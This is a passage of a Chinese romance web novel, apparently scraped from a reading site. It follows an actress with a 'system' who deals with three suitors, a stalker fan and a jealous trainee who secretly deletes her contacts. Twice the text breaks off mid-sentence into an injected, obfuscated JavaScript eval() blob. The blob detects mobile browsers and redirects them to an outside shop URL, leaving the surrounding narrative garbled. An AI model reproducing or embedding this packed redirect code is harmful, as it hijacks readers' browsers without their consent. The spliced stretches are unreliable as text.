“真漂亮,”尚知遥努力挤出一个微笑,把钢笔小心翼翼地放回盒子里,指尖轻轻摩挲着丝绒盒面,“谢谢您,许老师,我会好好珍藏的,以后每次看剧本,都会想起您对林薇的用心。” 许淮没察觉到她的异样,又从背包里拿出一本旧书——是一本《编剧技巧》,封面已经泛黄,书脊处用透明胶带粘过好几次,显然是被反复翻阅过的旧物。 他把书递过来,扉页上用黑色钢笔写着一行字:“送给懂戏,也懂人的尚知遥”,字体比平时写剧本时更柔和,甚至带着一点笨拙的圆润,不像他写剧本时那样锋利。 “这是我刚入行时买的书,当时没钱,还是在二手书店淘的,”许淮的声音带着一丝不好意思,指尖轻轻拂过书脊上的胶带,“里面有我写的笔记,都是关于角色塑造的想法,比如怎么通过细节表现人物的内心,怎么让台词更贴合角色的性格。你要是想更深入地理解林薇,或者以后想尝试写点东西,这本书或许能帮到你。” 尚知遥接过书时,指尖不小心碰到了他的手指,清晰地感觉到他的手在微微发抖——不是因为冷,是因为紧张,是怕被拒绝的小心翼翼。 她轻轻翻开书,看到里面密密麻麻的批注,有些地方还用不同颜色的笔标注了修改意见,甚至在空白处画了小小的人物表情示意图:“林薇被抛弃时,嘴角应该是向下撇的,但眼睛要睁得很大,像不敢相信的小鹿”“林薇拒绝男配时,要把围巾递得很快,像碰了烫手的东西”。 这些细节,都是许淮对林薇最深的偏爱,也是他藏在文字里的温柔。 尚知遥看着这些批注,心里泛起一阵复杂的情绪,有感动,有酸涩,还有一丝说不出的失落。 她抬起头,对着许淮露出一个真诚的笑容:“许老师,谢谢您。这本书对我来说,比任何奢侈品都珍贵,我会好好读的,有不懂的地方,还想跟您请教。” 许淮的眼睛瞬间亮了,他欣慰地点点头,声音都带着抑制不住的喜悦:“随时都可以!不管是剧本还是角色,你想问什么都可以,我知无不言!” 两人又聊了一会儿剧本,直到下午拍摄的铃声响起,尚知遥才拿着钢笔和书走出帐篷。 刚走到门口,就看到霍景宴站在不远处,手里拿着一件米白色的小方包——正是她昨天看中的那款限量款,他显然是让助理特意去订的。 看到尚知遥,霍景宴快步走过来,把包递到她面前,语气依旧带着一丝别扭,却藏不住的温柔:“助理刚送来的,你看看是不是这个款式。” 20. 第 20 章 尚知遥看着霍景宴手里的米白色小方包,心脏像是被羽毛轻轻挠了一下,软得一塌糊涂。 她故意放慢脚步,走到他面前,歪着头看他,眼底带着狡黠的笑意:“霍总,您怎么知道我喜欢这个款式呀?该不会是偷偷记下来了吧?” 霍景宴耳尖又开始发烫,他别过脸,故意装作不在意的样子,伸手把包塞到她手里:“助理选的,他说最近这款很火,女孩子都喜欢。你要是不喜欢,就让他再换一个。” “喜欢,怎么会不喜欢呢?”尚知遥接过包,轻轻抱在怀里,故意用脸颊蹭了蹭包面,声音又软又甜,“谢谢霍总,这是我收到过最贴心的礼物了。那……我是不是该给您个奖励呀?” 她说着,不等霍景宴反应,飞快地在他嘴角亲了一下。 这次不再是脸颊,而是带着温度的、轻轻的触碰,像蝴蝶停在花瓣上,转瞬即逝,却留下了满溢的栀子花香。 霍景宴整个人都僵住了,瞳孔猛地收缩,连呼吸都停滞了几秒。 他下意识抬手摸了摸嘴角,指尖还残留着她唇瓣的温度,严肃的神情彻底裂开,连耳根都红透了,语气却依旧硬邦邦的,带着故作镇定的别扭:“尚知遥!你……你越来越没规矩了!下次再这样,我就……” “就怎么样呀?”尚知遥故意凑近他,温热的呼吸扫过他的脖颈,“霍总要是真生气,就不会给我买包了呀。我知道,霍总就是嘴硬心软,其实心里可疼我了,对不对?” 霍景宴被她怼得说不出话,又气又无奈,最后只能伸手揉了揉她的头发,动作带着连自己都没察觉的宠溺:“别贫了,快去化妆,导演刚才还在问你呢。要是耽误了拍摄,看我怎么罚你。” “知道啦,霍总!”尚知遥笑着朝他挥挥手,提着包蹦蹦跳跳地走向化妆间,背影都带着雀跃的弧度。 霍景宴站在原地,看着她的背影,嘴角不自觉地勾起一抹浅淡的笑意——他忽然发现,被她这样“缠着”“撒娇”,好像也没那么讨厌,甚至……有点上瘾。 清晨的阳光透过剧组休息室的窗帘缝隙,在地板上投下一道细长的光斑。 尚知遥揉着惺忪的睡眼坐起身,指尖下意识摸向床头柜上的手机——屏幕亮着,显示早上七点半,距离拍摄还有一个半小时,正好够她和许淮确认林薇后期转变的剧本细节。 昨天两人约好今早对接,许淮说会把修改后的片段发过来,她特意定了闹钟,就是怕错过。 解锁手机点开微信,尚知遥的手指在屏幕上划了一圈又一圈,眉头却渐渐皱了起来。 “工作伙伴”分组里,从“导演组”到“场务组”的联系人都在,唯独少了“许淮”的名字。 切换到“最近聊天”界面,之前和许淮讨论“林薇雨夜独白”的对话框消失得无影无踪,连带着她特意标了“重点”的聊天记录——里面记着许淮说的“林薇后期眼神要从‘警惕’变‘柔和’,但不能丢了骨子里的韧劲儿”,也全都没了踪影。 “奇怪,难道是手机内存满了自动清理了?”尚知遥嘀咕着,又点开“通讯录管理”,输入“许淮”两个字搜索,结果显示“无匹配联系人”。 她心里忽然咯噔一下,昨天睡前明明还和许淮聊过,怎么会突然没了? 这时,她想起昨晚宋小棠端夜宵进来时说的话。 “遥姐,向晨哥刚才来送夜宵了,说怕你拍戏饿,特意从外面买的热粥,你洗澡的时候他放这儿就走了。” 尚知遥猛地掀开被子下床,快步走到门口,正好碰到端着早餐进来的宋小棠。 小姑娘手里提着城南老字号的豆浆油条,还冒着热气,看到尚知遥脸色不对,赶紧放下餐盘:“遥姐,怎么了?脸色这么难看,是不是没睡好?还是油条不合胃口,我再去换别的?” “小棠,昨天向晨来送夜宵的时候,有没有碰过我的手机?”尚知遥的声音带着一丝不易察觉的紧张,手紧紧地攥着手机。 她记得很清楚,昨天洗澡前把手机放在了床头柜的充电线上,屏幕朝下,要是没人碰,不可能自己删好友。 宋小棠愣了一下,仔细回想:“好像……碰过。昨天他来的时候,你刚进浴室,我帮他开门,他看到你手机在充电,就问‘遥姐有没有收到剧组的补拍通知’,我说没注意,他就拿起来看了一眼,还解锁了屏幕——当时我还纳闷,他怎么知道你的密码呢,不过他很快就放回去了,也就十几秒的样子。怎么了?手机丢了吗?还是里面的东西不见了?” “没丢,”尚知遥深吸一口气,努力压下心里的火气,“许淮的微信不见了,聊天记录也没了,整个好友都被删了。小棠,你也知道,我跟许老师每天都要对接剧本,现在连联系方式都没了,今天拍摄肯定要耽误。” 宋小棠的眼睛瞬间睁大:“啊?向晨哥怎么会做这种事?他是不是看到昨天工作人员发的朋友圈了?昨天有人拍了你和许老师在器材室讨论剧本的照片,是不是照片里你们靠得有点近,向晨哥看到误会了?” “不管是不是误会,他都没资格动我的东西。”尚知遥拿起外套,快步走向门口,“我去找他问清楚,这件事必须跟他说清楚,不能再纵容他了。” 刚走到练习生宿舍楼下,就看到周向晨背着双肩包走出来。 他穿着干净的白衬衫,领口系得整整齐齐,头发用发胶梳得一丝不苟,手里还提着一个纸袋,看起来像是刚买的早餐。 看到尚知遥,他眼睛瞬间亮了,快步跑过来,语气带着藏不住的期待:“姐姐,你怎么来了?是不是想我了?我刚去买了你爱吃的流沙包,还热着,快尝尝?” 尚知遥没有像平时那样对他笑,而是直接把手机递到他面前,屏幕停留在空白的搜索界面。 “许淮”两个字下面,是刺眼的“无匹配联系人”。 “我的微信好友,许淮的联系方式,是你删的吧?”她的声音很平静,却带着不容置疑的严肃。 周向晨脸上的笑容瞬间僵住,脸色以肉眼可见的速度从白皙变得苍白,连嘴唇都没了血色。 他下意识后退了一步,眼神躲闪着,手指紧紧攥着手里的纸袋,里面的流沙包都被捏变了形。“我……我没有……姐姐,你是不是搞错了?” 他的声音开始发颤,眼神不敢直视尚知遥,“我昨天就是给你送夜宵,没碰你的手机啊,可能是你自己不小心删了吧?” “搞错了?”尚知遥看着他慌乱的样子,心里的火气更盛,“昨天只有你碰过我的手机,我之前把密码告诉你,是信任你,不是让你用来偷偷删我好友的。周向晨,你告诉我,你为什么要这么做?” 被戳穿的瞬间,周向晨的眼泪毫无预兆地涌了出来。 他上前一步,伸手抓住尚知遥的手腕,力气大得让她有些疼。 “姐姐,我不是故意的……”他的声音带着哭腔,眼泪一滴一滴砸在尚知遥的手背上,滚烫的温度让她心里泛起一阵复杂的情绪,“我昨天在工作人员的朋友圈看到你和许老师的照片,你们靠得那么近,他还帮你整理剧本,你对着他笑的时候,从来没有对我笑过……我好怕,我怕你喜欢上他,怕你觉得他比我好,怕你不要我了……” 尚知遥用力甩开他的手,手腕上留下了几道红印。 她看着周向晨泛红的眼睛,心里泛起一丝酸涩。 这个从小缺爱的男孩,总是用最极端的方式表达喜欢,却不知道这种方式只会把人推远。 “向晨,我跟许老师只是工作关系,我们讨论剧本是为了把戏拍好,没有你想的那种关系。”她的语气缓和了一些,却依旧坚定,“而且就算我喜欢谁,也是我的自由,你不能用这种方式干涉我的生活。你删我的好友,不仅不尊重我,也不尊重许老师,更会影响我们的工作,你明白吗?” “我不是干涉!我是怕失去你!”周向晨的情绪越来越激动,眼泪流得更凶了,肩膀都在发抖,“自从我爸妈离婚后,我跟着奶奶过,没人管我,也没人对我好……你是我最重要的人,我不能失去你!许老师比我大那么多,他根本不懂你,他只是把你当成一个普通的演员,只有我才是真心对你好的!” “真心对我好,不是控制我的社交,不是偷偷删我的好友,更不是把你的害怕变成我的负担。”尚知遥看着他哭红的眼睛,心里像被针扎了一下,却还是硬起心肠,“向晨,你这种行为不是喜欢,是自私。如果你一直这样,我们连朋友都做不成。” 说完,尚知遥转身就走,没再看周向晨一眼。 她能听到身后传来他压抑的哭声,像被遗弃的小猫,却没有回头。 这次必须让他明白界限,否则只会让他越陷越深,最后不仅伤害自己,也会伤害别人。 回到剧组,尚知遥找导演要了许淮的手机号,重新加了他的微信。 许淮很快通过了验证,发来一条消息:“昨晚看你没回复,还以为你累得睡着了,原来是被删了好友。没关系,我已经把修改后的剧本片段发你了,你先看看,有不懂的地方我们拍摄间隙再聊。” 尚知遥看着消息,心里有些愧疚,回复:“对不起,许老师,是我没看好自己的手机,让你费心了。今天拍摄前我们在编剧帐篷对接吧,耽误了你的时间,真的很抱歉。” “没事,工作难免有小插曲。”许淮很快回复,还加了个微笑的表情,“你别放在心上,拍戏要紧。对了,我昨天整理了一些关于‘创伤后角色转变’的资料,今天带给你,或许能帮你更好地把握林薇后期的状态。” 尚知遥点开他发来的文档,看到里面密密麻麻的批注——从“林薇说话时的语速变化”到“她面对陌生人时的肢体反应”,甚至连“喝茶时先吹三下”这种小细节都标了出来。 她心里泛起一阵暖流,许淮对工作的认真和严谨,像一束光,驱散了刚才的不快。 下午拍摄间隙,尚知遥坐在休息区看剧本,宋小棠忽然慌慌张张地跑过来,手里拿着手机,脸色发白:“遥姐,不好了!你快看这个!是刚才场务在停车场拍的,有个戴黑色口罩的男人,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627249|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跟着你,还偷拍你!” 尚知遥接过手机,屏幕上是一张模糊的照片。 一个穿着黑色连帽衫的男人,戴着黑色口罩和鸭舌帽,只露出一双眼睛,正躲在停车场的柱子后面,镜头对着她的保姆车。 “这个是……”她的眉头瞬间皱紧,心里咯噔一下,想起上周在酒店门口遇到的那个私生饭。 上周她拍完夜戏回酒店,刚下车就被一个男人拦住,对方手里拿着她的行程表,还举着相机,嘴里念叨着“知遥,我好喜欢你,你能不能跟我合张影”,吓得她赶紧躲进酒店,后来还是霍景宴派了保镖过来,才把人赶走。 当时她以为只是偶然,没想到对方竟然追到剧组来了。 “他有没有靠近你?有没有跟你说话?”尚知遥的声音带着一丝紧张,她不怕私生饭的骚扰,却怕对方会做出更极端的事——之前就听说过有私生饭为了接近艺人,偷偷溜进酒店房间,甚至在艺人的车上装定位器。 “没有,他看到我发现了,就赶紧跑了。”宋小棠的声音也带着害怕,她紧紧抓着尚知遥的手,“遥姐,他肯定是上次在酒店堵你的那个私生饭!他怎么还跟着你啊?要不我们报警吧?或者让霍总派几个保镖过来?太吓人了,万一他对你做什么怎么办?” “先别急,”尚知遥深吸一口气,努力让自己冷静下来,“我先跟霍总说一声,让他帮忙查一下这个人的底细。你也跟剧组的安保说一下,让他们多注意一下停车场和休息室附近,别让陌生人进来。” 就在这时,尚知遥的手机响了,是周向晨打来的。她犹豫了一下,还是接了电话——毕竟早上刚跟他吵过,现在他打电话过来,不知道是不是想道歉。 电话那头,周向晨的声音带着一丝疲惫,却又透着莫名的兴奋,还有点喘:“姐姐,你别担心那个私生饭了,我已经找到他了。” 尚知遥的心里咯噔一下:“你找到他了?你在哪儿?他没对你做什么吧?你一个人去的吗?”她瞬间想起周向晨的性格,怕他又做什么冲动的事。 “我没事,”周向晨的声音带着一丝得意,似乎在等着尚知遥的夸奖,“我昨天看到他在停车场跟着你,就觉得不对劲,偷偷记了他的车牌号,后来又跟着他到了他住的地方,是个老旧的出租屋,就在剧组附近的巷子里。今天下午我趁他出门,堵了他一下,还录了音,他承认是收了别人的钱来跟踪你的,说有人让他拍你和许老师的亲密照片,还让他故意吓你,让你没办法安心拍戏。” 尚知遥愣住了,她没想到周向晨会做出这种事,竟然偷偷跟踪私生饭,还一个人去跟对方对峙。 “向晨,你太冲动了!私生饭本来就不正常,你一个人去跟他谈判,万一他对你动手怎么办?你有没有受伤?”她的声音里满是担心,刚才的火气早就没了。 “我不怕,”周向晨的声音变得坚定,带着一丝倔强,“只要能保护你,我什么都不怕。我跟他说了,要是再敢靠近你,我就把录音交给警察,让他坐牢!他已经答应我了,以后不会再跟踪你了。姐姐,我知道昨天我错了,我不该删你的好友,不该干涉你的生活。我只是……我只是想让你知道,我也能保护你,不是只有霍总、只有许老师能保护你,我也可以的。” 尚知遥的眼眶有些发热,她想起周向晨早上哭红的眼睛,想起他紧紧抓着自己手腕的样子,想起他说“你是我最重要的人”——这个男孩的喜欢或许笨拙,或许带着失控的占有欲,却也是真心实意的,不掺任何杂质。 “向晨,谢谢你。”她的声音放软,带着一丝哽咽,“但是下次不许再这样了,有什么事一定要跟我说,我们一起想办法,好吗?你一个人去冒险,我会担心的。” “嗯!”周向晨的声音带着雀跃,像是得到了糖果的孩子,“姐姐,你不生气了吗?那我以后还能给你送早餐吗?” “能,”尚知遥笑了,眼底的担心渐渐散去,“不过下次送早餐的时候,不许再碰我的手机了。” “我知道了!”周向晨的声音里满是开心,“姐姐,那我先去给你买晚饭,你喜欢吃的糖醋排骨,我知道有家店做的特别好吃!” 挂了电话,尚知遥靠在墙上,心里满是感慨。 宋小棠看着她的样子,小声问:“遥姐,你不怪向晨哥了吗?他早上还删了你的好友呢。” “怪?我有什么好怪他的。他不过是太在意我而已。”尚知遥摇摇头,露出一个若有所思的笑容,“我们都有过很在乎一个人,怕他离开的时刻,只是他用错了方式而已。而且这次,他也确实保护了我,不是吗?” 嘴上这么说,可是她心里想的却是,周向晨对她感情这么深,大大降低了攻略的难度,不像另外两个那么难搞,她高兴还来不及。 宋小棠似懂非懂地点点头,又想起私生饭的事:“那私生饭说有人雇他跟踪你,会是谁啊?会不会是剧组里的人?” “不知道,”尚知遥的眼神沉了沉,“不过不管是谁,只要他敢再来,我们就不会再让他得逞。” 21. 第 21 章 就在这时,霍景宴的车停在了不远处。他从车上下来,快步走向尚知遥,手里拿着一件黑色的风衣,披在她身上:“晚上风大,别着凉了。我刚收到助理的消息,说私生饭又出现了,怎么不第一时间给我打电话?” 尚知遥靠在他怀里,故意蹭了蹭他的胸口,声音软软的:“我这不是刚想跟你说嘛,而且向晨已经解决了,他找到私生饭,还录了音,威胁他不许再靠近我。” 霍景宴的眉头皱了皱,语气带着一丝担心:“周向晨?他一个小孩子,怎么能对付私生饭?万一出事怎么办?我已经让助理联系了安保公司,明天开始,会有两个保镖跟着你,直到把私生饭的事情彻底解决。另外,我也让律师查了,那个私生饭收的钱,来源有点可疑,可能跟之前黑你的水军有关,我会尽快查清楚。” “我知道你担心我,”尚知遥抬头看着他,眼底带着笑意,“不过向晨这次做得很好,他长大了,不再是那个需要我保护的小孩子了。” 霍景宴看着她的眼睛,伸手捏了捏她的脸颊,语气带着宠溺:“就你心软。快上车,我带你去吃你喜欢的火锅,暖暖身子。今天跟向晨闹了不愉快,又遇到私生饭,肯定受委屈了。” 尚知遥点点头,跟着霍景宴上了车。 车子缓缓驶离剧组,她靠在车窗上,看着窗外掠过的街景,心里满是踏实的温暖。 第二天清晨,尚知遥刚到剧组,就看到周向晨站在门口,手里提着一个保温桶,旁边还站着两个穿着黑色西装的保镖——是霍景宴派来的。 看到尚知遥,周向晨快步跑过来,眼神带着期待和紧张:“姐姐,我给你炖了排骨汤,早上五点就起来炖了,你快喝点暖暖身子。昨天……昨天的事,谢谢你原谅我。” 尚知遥接过保温桶,打开盖子,一股浓郁的排骨香味飘出来,里面还放了她喜欢的玉米和胡萝卜。 她看着周向晨泛红的眼睛,笑着说:“谢谢你,向晨,排骨汤很香。以后别再做那么冲动的事了,好吗?有保镖在,我会很安全的。” “嗯!”周向晨用力点头,脸上露出了久违的笑容,“姐姐,我知道了,以后有什么事我一定跟你商量。对了,那个私生饭今天没再来,我早上还去他住的巷子里看了一眼,他好像已经搬走了。” 尚知遥拍了拍他的肩膀,转身走向编剧帐篷。 许淮已经在里面等着了,手里拿着笔记本电脑和一叠打印好的剧本片段,指尖还夹着一支红色的标注笔,看到她进来,立刻起身拉开旁边的折叠椅:“你来了,快坐。我把林薇后期‘和解戏’的细节整理好了,还找了几个类似的电影片段,我们先看看,再聊修改意见。” 帐篷里很暖和,许淮特意开了小太阳,橘色的暖光落在他脸上,柔和了他平时严肃的轮廓。 尚知遥坐下时,发现自己面前的小桌上放着一杯热可可,杯壁还冒着热气,旁边压着一块包装精致的巧克力,是她喜欢的黑巧口味。 “你怎么知道我喜欢这个?”尚知遥拿起热可可,指尖传来温热的触感,心里泛起一阵暖意。 “上次你说拍哭戏容易低血糖,黑巧能快速补能量,我就记下来了。”许淮挠了挠头,有些不好意思地笑了,“昨天知道你手机出了点状况,肯定没休息好,特意让助理早上买的,热可可也是刚冲的,你尝尝温度合不合适。” 尚知遥抿了一口,甜而不腻的口感在舌尖散开,正好驱散了清晨的凉意。 她看着许淮认真的眼神,心里的愧疚又深了些:“许老师,昨天的事真的很抱歉,因为我的疏忽,耽误了你的时间。” “别这么说,”许淮摆摆手,打开笔记本电脑,调出一个电影片段,“谁都有疏忽的时候,而且你能及时跟我重新对接,已经很好了。你看这个片段,女主和母亲和解时,没有哭天抢地,只是递了一杯茶,手指碰了一下母亲的手——这种‘克制的温柔’,就是我想让林薇后期有的状态。” 屏幕上,女主的眼神从一开始的警惕,到后来慢慢软化,最后递茶时指尖的微微颤抖,都被演绎得恰到好处。 尚知遥看着,忽然明白了许淮想要的“转变”。不是突然的放下,而是带着过去的伤疤,慢慢学会接纳。 “我懂了,”尚知遥拿起剧本片段,用红色的笔在“林薇给养母递粥”的段落旁标注,“这里林薇的动作应该慢一点,递粥时手指先缩一下,再慢慢伸出去,眼神要看着养母的手,而不是脸,这样既表现了她的犹豫,又藏着想要靠近的渴望。” 许淮凑过来看她的标注,眼睛瞬间亮了:“对!就是这个感觉!你总能精准地抓住我没说出来的细节,比我自己还懂林薇。”他说着,从包里拿出一本厚厚的笔记本,递给尚知遥,“这是我写《知己》时的创作笔记,里面记了林薇从‘被抛弃’到‘自我救赎’的所有心路历程,你要是有空,可以看看,或许能更深入地理解她。” 尚知遥接过笔记本,封面是简单的黑色,里面的纸页已经有些泛黄,字迹却依旧工整。 她翻开第一页,看到许淮写的“林薇的原型,是我邻居家的姐姐,她从小被父母抛弃,却总在冬天给流浪猫喂猫粮——再冷的人,心里也有暖的地方”。 她心里忽然泛起一阵酸涩,原来许淮笔下的每一个角色,都藏着他见过的、听过的温暖。 两人聊得投入,不知不觉就到了拍摄时间。 尚知遥刚走出帐篷,就看到霍景宴站在不远处,手里拿着一件米色的羊绒围巾,显然是等了一会儿了。 看到她,他快步走过来,把围巾披在她身上,指尖轻轻碰了碰她的脸颊:“早上这么冷,怎么不多穿点?许淮跟你聊得太投入,都忘了时间了吧?” “聊剧本的时候不觉得冷,”尚知遥笑着拢了拢围巾,闻到上面淡淡的雪松味,是霍景宴常用的香水味,“你怎么来了?今天不是要去公司开会吗?” “开完会就过来了,”霍景宴伸手帮她理了理围巾的褶皱,语气带着一丝不易察觉的不满,“听说你跟许淮聊了一早上,还收到了他的‘创作笔记’?” 尚知遥故意曲解他的意思,凑近他,声音软软的:“怎么?霍总吃醋了?那我现在就把笔记还回去,以后只跟你聊,好不好?” 霍景宴的耳尖微微发红,伸手捏了捏她的下巴:“别贫了,快去化妆。对了,私生饭的事情有进展了,律师查到他收的钱,是从一个空壳公司转过来的,背后可能跟之前黑你的水军有关,我已经让他们继续查了,有消息会第一时间告诉你。” “嗯,我知道了,”尚知遥点点头,心里满是踏实,“有你在,我一点都不担心。” 拍摄很顺利,尤其是林薇和养母和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640221|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解的那场戏,尚知遥按照和许淮讨论的细节,把林薇的犹豫和渴望演绎得淋漓尽致。 导演喊“过”的时候,连场务都忍不住鼓掌:“尚老师演得太好了,刚才我都看哭了!” 许淮站在监视器旁,对着尚知遥比了个“满分”的手势,眼底满是认可。 尚知遥回以微笑,心里忽然有些触动。 她穿越之前从未觉得自己跟演艺事业能产生什么关系,刚穿越过来的时候也属于是赶鸭子上架,不得不拍戏。 可是现在,她越发觉得演戏是一件值得她钻研和努力的事业,而这个转变过程,离不开许淮这样一个懂角色、又尊重演员的编剧。 拍摄结束时,天已经黑了。 尚知遥刚卸完妆,就看到周向晨拿着一个保温桶跑过来,脸上带着兴奋的笑容:“姐姐,我给你炖了鸡汤,里面放了红枣和枸杞,补气血的。你今天拍了一天戏,肯定累坏了。” 尚知遥接过保温桶,打开盖子,一股浓郁的鸡汤香味飘出来。 她看着周向晨额头上的汗,知道他肯定是跑着过来的,语气都放软了几分:“谢谢你,向晨,你怎么知道我今天拍得累?” “我看你今天这场戏哭了好多次,眼睛都红了,肯定很耗精力,”周向晨挠了挠头,有些不好意思地说,“我问了营养师,她说鸡汤补气血,最适合拍哭戏后喝了。对了,那个私生饭今天真的没再来,我跟保镖大哥一起在剧组门口守了一下午,确定他没出现。” “辛苦你了,”尚知遥拍了拍他的肩膀,“以后不用守着了,有保镖在,很安全的。你也要好好休息,别耽误了练习。” “我知道,”周向晨点点头,眼神里带着期待,“姐姐,那我明天还能给你送早餐吗?我学了做三明治,想做给你尝尝。” “当然可以,”尚知遥笑着说,“不过要记得,别再做冲动的事了。” 周向晨用力点头,像个得到承诺的孩子,蹦蹦跳跳地走了。 尚知遥看着他逐渐远去的背影,心里忍不住感叹他的演技。 能把清纯恋爱脑这个人设演得这么有信念感,可真让人不敢想他出道以后的风光。 不过…… “系统,你能不能潜入周向晨家里安个监控?我好想看看他不用演戏的时候是什么样的啊!” 【……宿主,首先我并没有这样通天入地的本事,其次,我觉得我需要提醒你一下,周向晨对你的感情并非虚假。】 尚知遥闻言挑了一下眉,这倒真的出乎她的意料。 【宿主,你可以仔细想想,之前私生饭的事,一个只想要在你面前演演戏,蹭热度炒cp的人,会做到他那个程度吗?】 片刻沉默后,系统再次开口:【你是人类,我想你会比我更懂得这种情感。】 尚知遥哑口无言。系统说的,她并非没有想过,可是不知为何,心里总是不相信周向晨会付出真心。 只是不管怎么说,周向晨对她的那些照顾和关心都是实实在在的,要说心里毫无触动,那也是不可能的。 【宿主,】系统冰冷的声音再次响起,【我说这些并不是想让你陷入无谓的感情之中,只是想提醒你,任务第一,能够清晰地分析攻略对象内心真实的想法,才是完成任务的第一要务。】 “……我明白了。” 22. 第 22 章 尚知遥坐在酒店窗边的沙发上,指尖无意识地摩挲着剧本边缘,窗外的夜色浓得像化不开的墨,酒店楼下的路灯投出昏黄的光晕,在玻璃上晕开一片模糊的光斑。 宋小棠刚把热好的牛奶放在茶几上,就看到她盯着手机屏幕出神,忍不住轻声问:“遥姐,还在想私生饭的事啊?都过去三天了,他没再出现,说不定是真怕了,不敢来了。” 尚知遥抬起头,把手机锁屏放在一边——屏幕里还存着三天前的照片:后车窗被密密麻麻的纸条贴满,黑色字迹歪歪扭扭地写着“我知道你和霍总关系不一般”“别装清纯,你就是靠男人上位”,纸条边缘沾着不知名的污渍,像一道道丑陋的疤痕。 那天早上她去取车时,风一吹,纸条哗啦啦作响,声音刺耳得让她指尖发凉,总觉得有双眼睛藏在暗处,死死盯着自己。 “没那么容易,”尚知遥端起牛奶喝了一口,温热的液体没驱散心里的寒意,“这种人的偏执不是吓两句就能打消的。你再跟酒店安保叮嘱下,让他们多盯紧楼层监控,尤其是凌晨那段时间,别出岔子。” “我知道了遥姐,”宋小棠点点头,又想起什么,补充道,“霍总刚才发微信问你有没有按时吃饭,说他明天上午来剧组,给你带城西那家生煎包,还说让你别为私生饭的事分心。” 提到霍景宴,尚知遥的嘴角软了些,却也泛起一丝复杂的情绪。 自从私生饭的事发生后,他每天都会发消息“查岗”,送的监控设备能实时连到他的手机,美其名曰“放心”,可那股不容拒绝的掌控感,总让她觉得像被无形的线牵着。 她知道他担心自己,却也清楚,这份担心里藏着多少对所有物的在意,又有多少是真的为她“尚知遥”这个人。 “知道了,我一会儿回他消息,”尚知遥揉了揉眉心,“明天要拍的戏份不少,得早点休息,别让状态掉下来。” 宋小棠帮她收拾好剧本,检查完门窗才离开。 尚知遥洗漱后躺在床上,却总觉得门外有动静,翻来覆去睡不着。 她索性起身走到门口,透过猫眼往外看——走廊感应灯亮着,空无一人,只有白天保洁放在门口的垃圾袋静静待着。 “应该是我想多了,”她小声嘀咕着回床,却把手机攥在手里,屏幕亮着霍景宴的联系方式。 迷迷糊糊间,“咔哒、咔哒”的声响突然钻进耳朵,像是有人在用钥匙反复试探锁芯,在寂静的夜里格外刺耳。 尚知遥瞬间清醒,心脏猛地提到嗓子眼。她屏住呼吸凑到猫眼前——穿黑色连帽衫的身影背对着她,手里攥着一串钥匙,正对着锁芯反复尝试。 是那个私生饭!他竟然找到酒店房间来了! 她的指尖冰凉,刚要给安保打电话,走廊尽头突然传来急促的脚步声,伴随着少年清亮却带着怒意的喊:“你在干什么!离她房间远点!” 是周向晨!尚知遥的心瞬间揪紧,想开门又怕私生饭伤人,只能死死盯着猫眼。 周向晨冲过去抓住私生饭的手腕,用力把人往走廊外拽。 私生饭没料到会有人来,挣扎着怒吼:“你他妈谁啊!少多管闲事!” 连帽衫滑落,露出一张布满胡茬的脸,眼神狰狞得吓人。 他猛地推开周向晨,指甲划过少年的手臂,三道血痕瞬间冒出血珠。 周向晨疼得闷哼,却抓得更紧:“我警告你,再敢靠近尚知遥,我就报警!” “报警?你以为我怕吗!”私生饭更激动了,伸手去推周向晨的胸口,两人扭打在一起,撞得消防栓箱子“砰砰”响。 尚知遥再也忍不住,一边给安保打电话,一边开门冲出去:“向晨!小心点!” 周向晨听到她的声音回头,私生饭趁机甩开他的手,往楼梯间跑。 周向晨想追,却被尚知遥拉住:“别追了!太危险了!” “可他跑了还会来的!”周向晨急得眼眶发红,手臂上的血滴在浅色衬衫上,像绽开的红梅,触目惊心。 很快,酒店安保带着人赶来,往楼梯间追去。 尚知遥拉着周向晨回房间,关上门的瞬间,才发现自己的手还在抖。 她找出医药箱,蹲下身看着他的伤口:“快坐下,我帮你消毒,别感染了。” 周向晨乖乖坐在沙发上,看着她小心翼翼地用生理盐水擦伤口,眼眶突然红了:“姐姐,对不起,我没拦住他。” “傻孩子,说什么对不起,”尚知遥的声音有些哽咽,“你怎么会在这里?这么晚了,你不是该在练习生基地吗?” 提到这个,周向晨的头垂下去,声音变小:“我……我通过基地的人脉知道他今天会来,就跟老师请假说家里有事,凌晨赶过来的。本来想在走廊守着,没想到还是让你受惊了。” 尚知遥的心像被什么撞了一下——原来三天前私生饭突然消失,不是怕了,是周向晨在背后拦着。 她拿着碘伏的手顿了顿:“之前私生饭没出现的那几天,也是你在拦着他,对不对?” 周向晨的耳朵瞬间红了,挠着头小声承认:“嗯……我怕你担心,也怕你觉得我多管闲事,就没说。我就是不想看到你受委屈。” 尚知遥没再说话,默默帮他包扎。 看着少年手臂上的白纱布,她忽然觉得,这个总用笨拙方式表达喜欢的男孩,比谁都勇敢。 明明自己也只是个刚成年的孩子,却愿意为她挡在危险面前。 想到自己前天还在怀疑他的真心,她不免觉得有些眼热,泪水在眼眶里打转,却不敢落下一滴。 “以后别一个人扛了,”她帮他贴好胶布,抬头看着他的眼睛,“不管什么事,我们一起想办法,我会担心的。” 周向晨看着她发红的眼睛,用力点头:“嗯,我知道了姐姐。” 